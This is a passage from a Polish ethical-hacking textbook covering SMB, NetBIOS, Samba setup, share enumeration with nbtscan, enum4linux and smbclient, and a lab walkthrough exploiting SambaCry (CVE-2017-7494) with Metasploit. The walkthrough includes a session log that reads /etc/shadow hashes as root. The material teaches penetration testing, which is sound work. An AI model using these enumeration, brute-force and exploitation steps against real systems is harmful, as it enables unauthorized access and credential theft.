| 100000 2,3,4 111/tcp rpcbind
|_ 100000 2,3,4 111/udp rpcbind

W przypadku tego hosta działa tylko jedna usługa rpcbind, ale jeżeli w maszynie wirtualnej
Ubuntu Server dodasz więcej usług używających RPC (takich jak NFS), to lista wyników na pewno
się wydłuży.

Protokół SMB
Protokół SMB (Server Message Block) jest rozwiązaniem powszechnie używanym do współdziele-
nia plików w sieci lokalnej. Jest chyba najlepiej znany z tego, że jest głównym protokołem używa-
nym w sieciach systemów Microsoft Windows. Działa on w szóstej warstwie (warstwie prezentacji)
modelu OSI. Protokół SMB powstał w firmie IBM w 1983 roku, ale to firma Microsoft odegrała
największą rolę w jego rozwoju. W pewnym momencie Microsoft udostępnił wersję protokołu
SMB nazwaną CIFS (Common Internet File System) i ta nazwa przyjęła się na stałe. Zauważysz na
pewno, że najnowsze wersje protokołu SMB określane są skrótem CIFS. Microsoft wydał też wła-
snościową wersję protokołu SMB, która otrzymała nazwę SMB 2.0 lub SMB2, ale później firma
opublikowała specyfikację tej wersji, aby umożliwić innym systemom operacyjnym komunikację
z systemami Windows. Wraz z systemami Windows 8 i Windows Server 2012 firma Microsoft

3681988c430c7fe1e8567c4e2f281f7b
3
308 Rozdział 9  Pliki i współdzielenie plików

udostępniła nową wersję protokołu — SMB3, a i ona później otrzymywała różne poprawki. Jak
na razie systemy Windows 10 i Windows Server 2016 posługują się najbezpieczniejszą wersją
tego protokołu.
Dominacja firmy Microsoft na rynku komputerów osobistych i późniejszy sukces na rynku
korporacyjnym sprawiły, że również firma Apple zaczęła stosować protokół SMB. Właściciele róż-
nych systemów uniksowych także chcieli uzyskać zgodność z protokołami udostępniania plików
pochodzącymi z firmy Microsoft. W 1991 roku zaczęto pracę nad projektem Samba, czyli otwarto-
źródłową implementacją protokołu SMB będącą wynikiem prac odwrotnej inżynierii. Dzisiaj
Samba jest powszechnie używanym oprogramowaniem, które umożliwia współdzielenie plików
w jednej sieci pomiędzy komputerami wyposażonymi w systemy Microsoftu i systemy uniksowe.
W rzeczywistości projekt Samba implementuje kilka różnych protokołów firmy Microsoft (nie tylko
SMB). Na razie jednak będziemy się skupiać na współdzieleniu plików. Ciekawą cechą protokołu
SMB jest to, że istnieje w wielu różnych wersjach, z których wiele nadal jest stosowanych w istnie-
jących sieciach. Wcale nie tak trudno jest znaleźć system wykorzystujący nadal pierwszą wersję tego
protokołu, która jest podatna na kilka znanych ataków. Można zatem natknąć się na serwis SMB
(na przykład microsoft-ds) działający na porcie 445, ale jeżeli używany jest system NetBIOS
(Network Basic Input Output System), to można też uzyskiwać dostęp do udziałów sieciowych po-
przez protokół SMB udostępniany na innych portach.

NetBIOS i NBT
NetBIOS nie jest tak naprawdę żadnym protokołem. Jest to raczej bardzo istotne API, które jest
używane przez protokół SMB. Wynika to z faktu, że usługi SMB mogą być uruchamiane za pośred-
nictwem NetBIOS, co powoduje pojawienie się usług działających na portach TCP 137 i 139 oraz
portach UDP 137 i 138. Sama usługa SMB nie musi jednak działać w połączeniu z NetBIOS. Z kolei
NBT (NetBIOS over TCP/IP) jest protokołem (zdefiniowanym w dokumencie RPC 1001) działającym
w piątej warstwie modelu OSI (oznacza to, że znajduje się o jedną warstwę niżej niż protokół SMB),
który został przygotowany po to, żeby umożliwiać starszym aplikacjom używającym NetBIOS dzia-
łanie w nowoczesnych sieciach TCP/IP. Istnieje też narzędzie o nazwie NBTscan (unixwiz.net/tools/
nbtscan.html), które pozwala uzyskać informacje na temat API NetBIOS dla danego hosta. W wy-
nikach skanowania programem Nmap można też zauważyć, że na porcie TCP 139 działa usługa
o nazwie netbios-ssn (w tym przypadku ssn jest skrótem od słowa session — sesja). W takiej sytu-
acji warto uruchomić też program NBTscan (nbtscan -v <AdresIP>), aby uzyskać wyniki podobne
do przedstawionych poniżej:
Doing NBT name scan for addresses from 192.168.48.105

NetBIOS Name Table for Host 192.168.48.105:

Incomplete packet, 335 bytes long.

Name Service Type
----------------------------------------
FILESERVER01 <00> UNIQUE
FILESERVER01 <03> UNIQUE
FILESERVER01 <20> UNIQUE
FILESERVER01 <00> UNIQUE
FILESERVER01 <03> UNIQUE
FILESERVER01 <20> UNIQUE

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół SMB 309

_MSBROWSE__ <01> GROUP

HACKERHOUSE <1d> UNIQUE
HACKERHOUSE <1e> GROUP
HACKERHOUSE <00> GROUP
HACKERHOUSE <1d> UNIQUE
HACKERHOUSE <1e> GROUP
HACKERHOUSE <00> GROUP

Adapter address: DE:AD:BE:EF:BA:BE

----------------------------------------

Liczby szesnastkowe podawane w kolumnie Service oznaczają typ usługi dostępnej pod każdą
z wypisywanych nazw. Część funkcji NetBIOS dostępna jest w usłudze wyszukiwania, która trochę
przypomina w działaniu system DNS. Wiele różnych usług może zostać odwzorowanych na ten
sam adres IP. Jeżeli chcesz połączyć się z serwerem w sieci, musisz znać jego nazwę.

Nazwy używane przez NetBIOS mogą mieć maksymalnie 15 znaków długości,

przy czym znaki zerowe (bajty o wartości 0x00) są używane jako dopełnienie każdej nazwy.
Na końcu każdej nazwy dodawany jest jeszcze jeden bajt oznaczający typ serwisu. Szesnasty
bajt nazwy NetBIOS oznacza serwis, który jest wypisywany w tabeli przez program ntbscan.
Więcej informacji na temat notacji nazw NetBIOS można znaleźć pod tym adresem:
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-brws/
940f299f-669f-4a0b-8411-9ead7e2f31ec

NetBIOS zajmuje się zatem zadaniem przekształcania nazwy usługi na adres IP. Znaki szes-
nastkowe, znane jako przyrostki NetBIOS lub znaki końcowe, mają bardzo konkretne znaczenie.
Oto znaczenie przyrostków widocznych w poprzednim wydruku:
W przypadku gdy kolumna Type ma wartość UNIQUE:
00 — serwis stacji roboczej,
03 — serwis Windows Messengera,
20 — serwis udostępniania plików,
1b — Domain Master Browser (znajduje się na głównym kontrolerze domeny w każdej
domenie systemu Windows),
1d — Master Browser.

W przypadku gdy kolumna Type ma wartość GROUP:

00 — serwis stacji roboczej,
01 — Master Browser,
1c — kontrolery domeny,
1e — Browser service elections.

Teraz całość może nie wydawać się zagmatwana. Mówimy tu jednak o rozwiązaniach firmy
Microsoft, dlatego szczegółowe wyjaśnienia muszą poczekać do rozdziału 13. „Microsoft Windows”.
Na razie musisz mieć ogólne pojęcie o tym, czym jest usługa NetBIOS i dlaczego jest tak użyteczna.
Szybko się przekonasz, że istnieją łatwiejsze metody sprawdzania, czy na danym hoście działa
usługa SMB, CIFS lub Samba.

3681988c430c7fe1e8567c4e2f281f7b
3
310 Rozdział 9  Pliki i współdzielenie plików

DOMENY WINDOWS I KONTROLERY DOMEN

Sieci systemów Windows są często organizowane w logiczne struktury nazywane domenami

Windows, które są bardzo podobne do domen DNS. Każda domena Windows musi mieć swój
podstawowy kontroler domen (ang. primary domain controller — PDC), czyli główny węzeł (lub
host) sieci zajmujący się administracją wszystkimi użytkownikami oraz wspólnymi zasobami bę-
dącymi częścią tej domeny. Używane są również zapasowe kontrolery domen (ang. backup do-
main controller — BDC), które mogą przejąć zadania kontrolera PDC, gdy ten będzie niedo-
stępny, na przykład w wyniku awarii lub złośliwego ataku.

Konfigurowanie Samby
W swojej maszynie wirtualnej Ubuntu możesz zainstalować Sambę za pomocą polecenia sudo apt
install samba. W ten sposób w systemie pojawią się usługi netbios-ssn oraz microsoft-ds. Aby
zdefiniować udział sieciowy, musisz otworzyć i edytować plik konfiguracyjny Samby, na przykład
za pomocą polecenia sudo nano /etc/samba/smb.conf. Na końcu tego pliku dopisz poniższe wier-
sze, które włączają udostępnianie w sieci katalogu /home.
[sambashare]
comment = Samba on Ubuntu
path = /home
read only = no
browsable = yes

Czasami przydaje się też dodanie nowego użytkownika w systemie Ubuntu, którego można
traktować jak konto pracownika uprawnionego do dostępu do plików. W tym celu należy posłużyć
się poleceniem useradd, na przykład w ten sposób: sudo useradd -m pracownik1. Za pomocą pole-
cenia smbpasswd można ustalić hasło Samby dla wybranego użytkownika (jest to inne hasło niż to
zapisane w pliku /etc/shadow). Wpisując to polecenie, musisz posłużyć się opcją -a, tak jak poniżej:
sudo smbpasswd -a pracownik1

W ten sposób zyskasz możliwość wpisania, a następnie potwierdzenia hasła dla pracownika,
przy czym wpisywane znaki nie będą wypisywane na ekranie. Efekt tej pracy będzie wyglądał mniej
więcej tak:
New SMB password:
Retype new SMB password:
Added user pracownik1.

Użyj teraz polecenia sudo service smbd restart, aby ponownie uruchomić serwis Samby
i wprowadzić w życie naniesione zmiany. Jeżeli teraz uruchomisz program NBTscan, nakazując
mu skanować maszynę wirtualną Ubuntu, to zobaczysz wyniki podobne do poniższych:
Doing NBT name scan for addresses from 192.168.48.106

NetBIOS Name Table for Host 192.168.48.106:

Incomplete packet, 227 bytes long.

Name Service Type
----------------------------------------
UBUNTU <00> UNIQUE

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół SMB 311

UBUNTU <03> UNIQUE

UBUNTU <20> UNIQUE
_MSBROWSE__ <01> GROUP
WORKGROUP <00> GROUP
WORKGROUP <1d> UNIQUE
WORKGROUP <1e> GROUP

Adapter address: FA:CE:FE:ED:BE:EF

----------------------------------------

Informacje nie są tu podawane w sposób szczególnie przyjazny dla użytkownika, ale nie są przez
to mniej użyteczne. Teraz wiesz już, że wartość <20> oznacza serwis udostępniania plików. Wypró-
bujmy zatem kolejne narzędzie, które może nam ułatwić życie.

Enum4Linux
Enum4Linux (https://github.com/portcullislabs/enum4linux) jest narzędziem przygotowanym spe-
cjalnie dla systemów linuksowych, które ma za zadanie enumerowanie różnych widoków na system
Windows. Mimo swojego wieku świetnie sprawdza się w pracy z systemami, w których administra-
tor zmienił domyślne reguły dla domeny. Niestety w przypadku świeżo zainstalowanych nowocze-
snych wersji systemu Windows program Enum4Linux nie zwróci zbyt wielu przydatnych informacji.
Sam program bazuje na programie Enum.exe, który jest przygotowany do pracy w systemach ope-
racyjnych Windows. Pamiętaj, że protokół SMB powstał w firmie Microsoft, a Samba jest otwarto-
źródłową implementacją tego protokołu. Oznacza to, że programu Enum4Linux można użyć rów-
nież wobec hostów pracujących pod kontrolą systemu innego niż Windows i uzyskać przydatne
informacje, na przykład taką, że w tym systemie działają serwisy z systemu Windows, takie jak SMB
lub NetBIOS. Sposób użycia tego narzędzia poznasz, uruchamiając je bez podawania żadnych pa-
rametrów. Jeżeli chcesz skorzystać z domyślnych opcji, to użyj tego polecenia: enum4linux <AdresIP>.
Na ekranie zobaczysz wiele różnych informacji, aż w końcu pojawi się coś takiego jak poniżej:
========================================================================
| Users on 192.168.48.106 via RID cycling (RIDS: 500-550,1000-1050) |
=======================================================================
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-1735922139-68446063-2085926192
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-1735922139-68446063-2085926192
and logon username '', password ''
S-1-5-21-1735922139-68446063-2085926192-500 *unknown*\*unknown* (8)
S-1-5-21-1735922139-68446063-2085926192-501 UBUNTU\nobody (Local User)

Jak widać, program Enum4Linux próbuje wypisać użytkowników systemu na sprawdzanym

hoście, używając do tego techniki znanej pod nazwą sprawdzanie identyfikatorów zasobów (ang.
Resource ID Cycling). Można teraz zapytać, czym jest identyfikator zasobu? Usługi systemów
Windows oraz te serwisy, które odtwarzają usługi z systemów Windows (w tym przypadku —
Samba), mają własne identyfikatory bezpieczeństwa (SID — Security ID). Podobne identyfi-
katory mają też użytkownicy systemu. Ten niepowtarzalny identyfikator może mieć taką postać:
S-1-5-21-1735922139-68446063-2085926192. Identyfikatory SID nie mają być łatwe do zapamię-
tania ani mieć formy łatwej do odczytania dla człowieka, ponieważ są ukrywane przed typowymi
użytkownikami systemu. Wartości RID są kolejnymi liczbowymi identyfikatorami dopisywanymi

3681988c430c7fe1e8567c4e2f281f7b
3
312 Rozdział 9  Pliki i współdzielenie plików

na końcu wartości SID, dzięki czemu jednoznacznie identyfikują użytkownika powiązanego z daną
wartością SID. Gdy już pozna się wartość SID dla danego systemu, można przystąpić do enumero-
wania wartości RID, ponieważ najczęściej są ustawiane według określonego wzorca. Wartość RID
równa 500 zwykle oznacza konto administratora Windows, natomiast wartość 501 oznacza konto
gościa. Niestandardowe konta użytkowników, które zostały dodane do systemu, otrzymują warto-
ści RID zaczynające się od 1000. W powyższym wydruku nie widać takiego wzorca, ponieważ po-
lecenie analizuje usługę w systemie Ubuntu, która nie przestrzega tego sposobu przydziału nume-
rów identyfikacyjnych.
Przyjrzyjmy się też innym informacjom wykrytym przez program Enum4Linux. W poniższym
wydruku można zauważyć, że program wypisał informacje na temat NTB. Są one podobne do tych
zwracanych przez program NTBscan, ale uzupełnione o nazwy usług, co poprawia czytelność.
Zwróć uwagę na wyróżnioną usługę File Server Service. To właśnie skonfigurowany przez nas
serwis Samby.
==============================================
| Nbtstat Information for 192.168.48.106 |
==============================================
Looking up status of 192.168.48.106
UBUNTU <00> - B <ACTIVE> Workstation Service
UBUNTU <03> - B <ACTIVE> Messenger Service
UBUNTU <20> - B <ACTIVE> File Server Service
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
WORKGROUP <1d> - B <ACTIVE> Master Browser
WORKGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections

MAC Address = 00-00-00-00-00-00

W dalszej części można zauważyć, że program próbuje wypisać dane udziałów sieciowych.
Poniżej widać nazwę udziału, jaki niedawno przygotowaliśmy, razem z przypisanym mu komen-
tarzem. Odpowiedni wiersz został wyróżniony:
===========================================
| Share Enumeration on 192.168.56.106 |
===========================================

Sharename Type Comment

--------- ---- -------
print$ Disk Printer Drivers
sambatest Disk Samba test
IPC$ IPC IPC Service (ubuntu server (Samba ))
Reconnecting with SMB1 for workgroup listing.

Server Comment
--------- -------

Workgroup Master
--------- -------
WORKGROUP UBUNTU

[+] Attempting to map shares on 192.168.48.106

//192.168.48.106/print$ Mapping: DENIED, Listing: N/A
//192.168.48.106/sambatest Mapping: DENIED, Listing: N/A
//192.168.48.106/IPC$ [E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół SMB 313

Zauważysz również informacje na temat reguł dotyczących haseł na sprawdzanym hoście, wraz
z komunikatem, że do uzyskania tych danych użyto programu RPCclient (to narzędzie do testo-
wania implementacji usług RPC firmy Microsoft).
[+] Retrieved partial password policy with rpcclient:

Password Complexity: Disabled

Minimum Password Length: 5

Jeżeli znajdziesz udział sieciowy, możesz spróbować zamontować go, podając się za zwykłego
użytkownika lub pracownika. Możesz też użyć standardowych klientów, takich jak SMBclient, aby
za ich pomocą sondować dany host i wchodzić z nim w interakcję. Warto też spróbować zalogować
się anonimowo, tak jak robiliśmy to na serwerze FTP. W tym celu możesz użyć polecenia smbclient
-L <AdresIP>. Program poprosi wtedy o podanie hasła:
Enter WORKGROUP\root's password:

Naciśnij klawisz Enter, nie wpisując hasła. Jeżeli serwer został skonfigurowany tak, żeby umoż-
liwiać anonimowy dostęp, to pojawi się komunikat anonymous login successful. Jeżeli uda się
zalogować anonimowo, to programu SMBclient można używać w ten sam sposób, w jaki używa-
liśmy klienta FTP. Aby połączyć się w ten sposób, musisz podać nazwę NetBIOS danego hosta
i uzupełnić ją o nazwę usługi, tak jak poniżej:
smbclient //NazwaNetBIOS/Usluga

Wykorzystując maszynę wirtualną Ubuntu, możesz wpisać polecenie smbclient //UBUNTU/

samba_test, a następnie wprowadzić puste hasło. W efekcie powinien pojawić się poniższy komunikat
(chyba że przygotowany wcześniej udział sieciowy został jednak ustawiony na dostęp anonimowy).
tree connect failed: NT_STATUS_ACCESS_DENIED

W przypadku hosta, który umożliwia anonimowy dostęp, a takim jest laboratorium tej książki,
możliwe jest wykonanie takiego polecenia jak smbclient //FILESERVER1/data i wprowadzenie pu-
stego hasła. Zwykle można wtedy zobaczyć to, co prezentujemy poniżej:
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Mar 6 15:11:42 2017
.. D 0 Wed Jul 10 14:28:11 2019
.bash_logout H 220 Sat Nov 5 14:19:12 2016
.bashrc H 3392 Mon Mar 3 15:05:09 2014
.profile H 675 Sat Nov 5 14:19:12 2016

1037476 blocks of size 1024. 1030360 blocks available

smb: \>

Za pomocą polecenia SMBclient można połączyć się ze zdalnym hostem udostępniającym

udział SMB. Działa to podobnie do tego, jak klient FTP umożliwia dostęp do usług FTP. Jeżeli
chcesz lokalnie zamontować ten system plików w swoim systemie Kali Linux, to musisz zainstalo-
wać niezbędne narzędzia, używając polecenia apt install cifs-utils. Następnie musisz użyć po-
lecenia mount tak jak poniżej:
mount -t cifs -o vers=1.0,user=guest \\\\<AdresIP>\\data /mnt/data

3681988c430c7fe1e8567c4e2f281f7b
3
314 Rozdział 9  Pliki i współdzielenie plików

W tym przypadku opcja -t (z wartością cifs) została użyta, aby podać typ zdalnego udziału
sieciowego. Pamiętaj jednak, że protokoły SMB i CIFS są właściwie tym samym protokołem.
Następnie opcja -o pozwala na wprowadzenie kilku różnych opcji. Wśród tych opcji podawana jest
wersja używanego protokołu (tutaj 1.0; to starsza wersja protokołu, która nie jest bezpieczna, ale
nadal jest używana) oraz nazwa użytkownika, czyli guest. Potem można zauważyć całą serię lewych
ukośników, co wynika z tego, że musimy używać tu konwencji UNC (Universal Naming Convention)
właściwej dla systemów Windows. W systemach Windows w ścieżkach do plików używane są znaki
lewego ukośnika, natomiast w systemach uniksowych stosowane są znaki prawego ukośnika.
W systemach uniksowych znak lewego ukośnika jest znakiem modyfikacji (ang. escape character)
i dlatego podwójny lewy ukośnik (\\) zamieniany jest w pojedynczy (\). Aby poprawnie zaadreso-
wać udział z systemu Windows, trzeba podać pełną ścieżkę w konwencji UNC, tak jak poniżej:
\\<NazwaSerwera>\<ScieżkaDoZasobu>

Aby uzyskać dwa lewe ukośniki we wprowadzanym poleceniu, trzeba umieścić aż cztery:
\\\\<AdresIP>\\data. Niewłaściwa liczba lewych ukośników sprawi, że program mount zwróci
błąd, taki jak mount.cifs bad UNC.
Podczas prób zamontowania w ten sposób zdalnego udziału możemy otrzymać komunikat
Permission denied oznaczający odmowę dostępu. Na razie używamy użytkownika anonimowego
lub gościa, aby uzyskać dostęp do udziału SMB, choć dzisiaj ta funkcja jest już bardzo rzadko uży-
wana. Jest całkiem możliwe, że do zamontowania zdalnego udziału SMB będzie nam potrzebna
nazwa użytkownika i hasło. Program Enum4Linux pomaga w uzyskaniu nazw użytkowników, ale
można je też uzyskać z innych źródeł. Jeżeli nie znasz hasła dla danej nazwy użytkownika, to mo-
żesz próbować odgadnąć je metodami siłowymi. Możesz też spróbować dostępu za pomocą użyt-
kownika Samby, na przykład tego, którego dodaliśmy już wcześniej (pracownik1), i ponownie za-
montować udział sieciowy, tym razem podając nazwę użytkownika i próbując odgadnąć hasło
(a przynajmniej udając odgadywanie, ponieważ w tym przypadku je znamy). Tutaj doskonale
sprawdzi się też program Hydra. Przed zamontowaniem udziału upewnij się, że ścieżka /mnt/data
rzeczywiście istnieje w maszynie wirtualnej Kali Linux. Jeżeli jej nie ma, to musisz ją utworzyć.
To lokalny katalog, do którego zamontowany zostanie zdalny folder. Bardzo ważne jest też przy-
pilnowanie tego, żeby nie montować wielu udziałów do jednego katalogu. Trzeba też sprawdzić,
czy nie masz już zamontowanych innych istniejących udziałów. Za pomocą polecenia mount wpi-
sanego bez żadnych parametrów można wypisać listę wszystkich zamontowanych udziałów. Wpisz
poniższe polecenie, aby uwierzytelnić dostęp do udziału SMB, pamiętając o uprzednim sprawdze-
niu, czy istnieje katalog /mnt/data:
mount -t cifs -o vers=1.0,user=pracownik1 \\\\<AdresIP>\\data /mnt/data

System powinien poprosić Cię o podatnie hasła, tak jak poniżej:

Password for backupsrv@\192.168.48.102\data: ******

Jeżeli po wpisaniu hasła nie zobaczysz komunikatu o błędzie, to możesz sprawdzić, czy zdalny
udział został zamontowany w katalogu /mnt/data. Jakie masz uprawnienia do tego udziału?
Możesz użyć polecenia touch test, aby utworzyć plik o nazwie test, sprawdzając tym samym,
czy masz uprawnienia do zapisywania plików. Dobrze jest też sprawdzić, jakie inne pliki istnieją na
zamontowanym udziale i czy może zawierają one jakieś istotne informacje. Przeszukiwanie

3681988c430c7fe1e8567c4e2f281f7b
3
Protokół SMB 315

zawartości udziałów sieciowych jest typowym działaniem, jakie trzeba będzie wykonać na pewnym
etapie hakowania. Jeżeli masz możliwość zapisywania plików na udziale sieciowym, to masz też
możliwość powodowania poważnych szkód.

Przeprowadzanie ataków siłowych na większość usług SMB (na przykład

za pomocą programu Hydra) najprawdopodobniej spowoduje zablokowanie konta wybra-
nego użytkownika, przynajmniej tymczasowo. Większość systemów stosuje jakiś rodzaj re-
guły blokowania kont przy nieudanych próbach logowania. Pamiętaj, że to może utrudniać
pracę Twojemu klientowi.

SambaCry (CVE-2017-7494)
Błąd SambaCry (oznaczony numerem CVE-2017-7494) jest podatnością umożliwiającą atakują-
cemu przesłanie na host z usługą Samba pliku z kodem i wykonanie go na tym hoście. Atakujący
musi mieć uprawnienia do zapisywania plików na udziale sieciowym, aby móc przesłać plik na
serwer. Dzięki tej podatności atakujący może przejąć całkowitą kontrolę nad systemem. Ta podat-
ność otrzymała nazwę w związku z oprogramowaniem typu ransomware o nazwie WannaCry
(każdy zapewne o nim słyszał), które o ile nam wiadomo, otrzymało tę nazwę tylko dlatego, że ludzie
zaatakowani w ten sposób często reagowali płaczem. Exploit WannaCry wykorzystuje podatność
systemu Windows i bazuje na exploicie, który podobno został przygotowany przez agencję NSA,
gdzie nosił nazwę ETERNALBLUE i był utajniony przez kilka lat.
SambaCry nie jest jednak robakiem ani złośliwym oprogramowaniem. Jest raczej swego rodzaju
marką (podobnie jak Heartbleed i Shellshock) podatności CVE-2017-7494 i mimo że nosi nazwę
zbliżoną do podatności wykorzystywanej przez WannaCry, to jednak działa na innej zasadzie. Sam-
baCry wpływa na działanie serwera Samba uruchomionego w systemie Linux. Sam problem poja-
wił się w wersji 3.5. On również istniał przez długi czas, zanim został odkryty i opublikowany. Aby
wykorzystać ten błąd, musisz przesłać (lub zapisać) plik współdzielonego obiektu (z rozszerzeniem
.so) na udział zarządzany przez serwer Samba. Po przesłaniu musisz też znać lokalizację tego pliku.
Chodzi tu o lokalizację na serwerze, a nie w swoim komputerze, nawet jeżeli udział jest zamonto-
wany lokalnie. Lokalizację na serwerze można odgadnąć, wykorzystując do tego często stosowane
ścieżki. Wcześniej utworzyliśmy udział o nazwie sambatest, ale też sugerowaliśmy, żeby utworzyć
go w katalogu /home.
W pliku .so można zapisać każdą operację, jaką chciałby wykonać atakujący. Dość oczywistą
operacją byłoby utworzenie powłoki zwrotnej, która umożliwiałaby zdalny dostęp do hosta. Tej
podatności używano też do szyfrowania plików użytkownika i żądania okupu za nie wypłacanego
w kryptowalutach. Zdarzały się też ataki, w których na zaatakowanym komputerze instalowano
oprogramowanie do kopania kryptowalut. I rzeczywiście podatności podobne do SambaCry są naj-
częściej wykorzystywane do wymuszania okupu za zaszyfrowane dane i instalowania tak zwanych
botów kopiących kryptowaluty (zautomatyzowane programy, które kopią kryptowaluty bez wiedzy
właściciela systemu).
Kod zapisany w pliku .so jest uruchamiany za pomocą żądania ncacn_np, pochodzącego z pro-
tokołu NCACN (Network Computing Architecture Connection-Oriented Protocol). NCACN to na-
zwa jednego z protokołów RPC używanych przez firmę Microsoft. Ten bazuje na protokole TCP

3681988c430c7fe1e8567c4e2f281f7b
3
316 Rozdział 9  Pliki i współdzielenie plików

i w związku z tym jest protokołem połączeniowym. Część np w nazwie żądania nacan_np jest skrótem
od angielskich słów named pipe, czyli potok nazywany. Jest to koncepcja tworząca zdalną wersję
zwyczajnego potoku (|).
Pamiętasz zapewne, że wcześniej w ramach ataku siłowego używaliśmy potoku, żeby przesłać
nazwy użytkowników z pliku do programu Parallel lub Finger i sprawdzić, czy takie konta użyt-
kowników istnieją na serwerze. Tradycyjne potoki nie mają nazw i istnieją tylko tak długo, jak uży-
wające ich procesy, jednak potoki nazywane istnieją, dopóki ich potrzebujemy, co pozwala różnym
procesom zapisywać do nich dane i je odczytywać. Atakujący sam przesyła plik .so na atakowany
system, a zatem zna nazwę tego pliku oraz nazwę potoku. To właśnie dlatego exploit używający tej
techniki nosi nazwę is_known_pipename (znana nazwa potoku). Jeżeli we frameworku Metasploit
poszukasz exploitów dla Samby, to w wynikach na pewno znajdziesz i ten. Ten exploit nie zadziała
w naszej maszynie wirtualnej Ubuntu, chyba że zainstalujesz w niej starszą wersję Samby. Takie
starsze wersje działają czasami na urządzeniach osadzonych, a nawet na całkiem nowych routerach
w domowych sieciach, gdzie umożliwiają użytkownikom szybką i łatwą wymianę plików w sieci
domowej. Aby jeszcze bardziej ułatwiać użytkownikom wymianę plików, niektóre routery używają
bardzo starej wersji 1.0 protokołu SMB.
W wynikach podanych przez framework Metasploit można zobaczyć, że moduł otrzymał ocenę
excelent, czyli doskonały, co oznacza, że ma niewielkie prawdopodobieństwo spowodowania
niestabilności atakowanego systemu. Po wybraniu modułu przeczytaj informacje na jego temat
i sprawdź, jakie opcje trzeba ustawić do poprawnego działania. W tym przypadku trzeba posłużyć
się kilkoma dodatkowymi opcjami, które nie są wypisywane na liście opcji zapisanej w panelu in-
formacyjnym tego modułu. Chodzi tu o opcje SMBUser (czyli nazwa użytkownika) oraz SMBPass
(czyli hasło tego użytkownika). Podobnie jak i w innych exploitach trzeba też podać opcję RHOSTS.
Można też skorzystać z opcji SMB_SHARE_NAME, której należałoby przypisać wartość /samba_test,
czyli nazwę, której używaliśmy we wcześniejszych ćwiczeniach.
Pamiętaj też o wybraniu payloadu, na przykład tego: cmd/unix/interact. Jeżeli teraz ponownie
użyjesz polecenia show options, to zobaczysz, że nie trzeba już definiować żadnej dodatkowej opcji.
Jeżeli exploit zadziała skutecznie, to powinniśmy uzyskać dostęp do zdalnego systemu z uprawnie-
niami użytkownika root. Nie jest to jednak czas na świętowanie! Mimo że ten exploit otrzymał
ocenę excelent i nie powinien powodować żadnych szkód, to jednak sam jest bardzo niestabilny,
a proces uruchomiony w atakowanym systemie zostanie po kilku sekundach zatrzymany przez
serwer Samba.
Aby w pełni wykorzystać ten exploit, należy przygotować sobie kod lub polecenia, tak aby mieć
je gotowe do wklejenia w powłoce, zanim połączenie zostanie zamknięte. Na poniższym wydruku
można zobaczyć skutecznie zastosowany exploit. Po utworzeniu sesji przez Metasploit autor użył
polecenia id (aby sprawdzić, czy na pewno ma prawa użytkownika root), a następnie polecenia
cat /etc/shadow, aby wypisać zawartość pliku /etc/shadow z atakowanego systemu. (Część wpisów
z tego pliku została usunięta). Następnie sesja została zamknięta przez zdalny host. Możesz spró-
bować wykonać ten atak na laboratorium naszej książki, używając przy tym nazwy użytkownika
backupsrv, który korzysta z łatwego do odgadnięcia hasła.
[*] 192.168.48.105:445 - Using location \\192.168.48.105\data\ for the path
[*] 192.168.48.105:445 - Retrieving the remote path of the share 'data'
[*] 192.168.48.105:445 - Share 'data' has server-side path '/data
[*] 192.168.48.105:445 - Uploaded payload to \\192.168.48.105\data\JEjdFkhX.so

3681988c430c7fe1e8567c4e2f281f7b
3
Rsync 317

[*] 192.168.48.105:445 - Loading the payload from server-side path /data/JEjdFkhX.so using
´\\PIPE\/data/JEjdFkhX.so...
[-] 192.168.48.105:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.48.105:445 - Loading the payload from server-side path /data/JEjdFkhX.so using
´/data/JEjdFkhX.so...
[-] 192.168.48.105:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND
[*] 192.168.48.105:445 - Uploaded payload to \\192.168.48.105\data\gLQDHoVw.so
[*] 192.168.48.105:445 - Loading the payload from server-side path /data/gLQDHoVw.so using
´\\PIPE\/data/gLQDHoVw.so...
[+] 192.168.48.105:445 - Probe response indicates the interactive payload was loaded...
[*] Found shell.
[*] Command shell session 1 opened (192.168.48.102:39169 -> 192.168.48.105:445) at 2019-06-12
´16:50:56 +0100
id
uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
root:$6$iwslmk7Z$fOMJy91n/tE/sq6/OjYoJfqrEG8SwHuWLm7.Q.29sq8eKXWz13qNIuC
ZOw3k3XeRpnDorMJvnig.qGv4XrKTZ0:17231:0:99999:7:::
johnp:pAXx5X7LHtSAk:17231:0:99999:7:::
peterk:DzYaFfUmS23Q2:17231:0:99999:7:::
jennyw:VxsdZ0yHsnVi.:17231:0:99999:7:::
stephena:zQMgbQ2LQkDRg:17231:0:99999:7:::
sarahk:Yy.jZjZKD3zWM:17231:0:99999:7:::
clairea:JjBXO2jYE2PEU:17231:0:99999:7:::
backupsrv:pDHuLSGJQBxXs:17231:0:99999:7:::
[*] 192.168.48.105 - Command shell session 1 closed.

Rsync
Rsync (https://rsync.samba.org) jest narzędziem przeznaczonym do synchronizowania plików mię-
dzy dwoma lokalizacjami, a często między dwoma hostami. Czasami bywa używane do tworzenia
kopii zapasowych plików ze stacji roboczej użytkownika na zdalnym serwerze plików. Bywa też
używane do zarządzania pakietami, zazwyczaj w ramach sieci wewnętrznej. Podobnie jak każdy
inny system transferowania plików, ten również może zostać niepoprawnie skonfigurowany, co
może doprowadzić do ujawnienia ważnych i wrażliwych plików.
W 2003 roku złośliwy haker rozpoczął proces tworzenia tylnych furtek w systemie Gentoo
Linux, ingerując w system Portage przeznaczony do zarządzania pakietami Gentoo. Te działania
umożliwiała luka istniejąca w narzędziu Rsync (GLSA-200312-03). Na szczęście ten atak został po-
wstrzymany przez niezwykle paranoicznego administratora systemu, który w tym czasie przepro-
